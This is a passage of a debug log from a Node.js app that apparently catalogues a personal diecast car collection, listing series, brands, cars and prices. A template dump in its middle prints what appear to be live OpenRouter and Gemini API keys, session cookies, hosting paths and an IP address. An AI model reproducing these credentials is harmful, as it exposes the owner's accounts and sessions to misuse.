  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-06-29T05:33:37.001Z server-connect:app Executing action step select
2026-06-29T05:33:37.001Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-29T05:33:37.002Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-06-29T05:33:37.002Z server-connect:output restrict: undefined
2026-06-29T05:33:37.003Z server-connect:app Executing action step select
2026-06-29T05:33:37.003Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-29T05:33:37.003Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-06-29T05:33:37.006Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-06-29T05:33:37.008Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-06-29T05:33:45.704Z server-connect:router Serving templateView /diecast-reports
2026-06-29T05:33:45.704Z server-connect:app Executing action step identify
2026-06-29T05:33:45.704Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:45.705Z server-connect:output identity: 1
2026-06-29T05:33:45.705Z server-connect:app Executing action step restrict
2026-06-29T05:33:45.705Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:45.705Z server-connect:output restrict: undefined
2026-06-29T05:33:45.705Z server-connect:router Render template diecast-reports
2026-06-29T05:33:45.705Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:33:45.988Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-06-29T05:33:45.988Z server-connect:app Executing action step identify
2026-06-29T05:33:45.988Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:45.988Z server-connect:output identity: 1
2026-06-29T05:33:45.988Z server-connect:app Executing action step restrict
2026-06-29T05:33:45.988Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:45.989Z server-connect:output restrict: undefined
2026-06-29T05:33:45.989Z server-connect:app Executing action step custom
2026-06-29T05:33:45.990Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-06-29T05:33:45.991Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
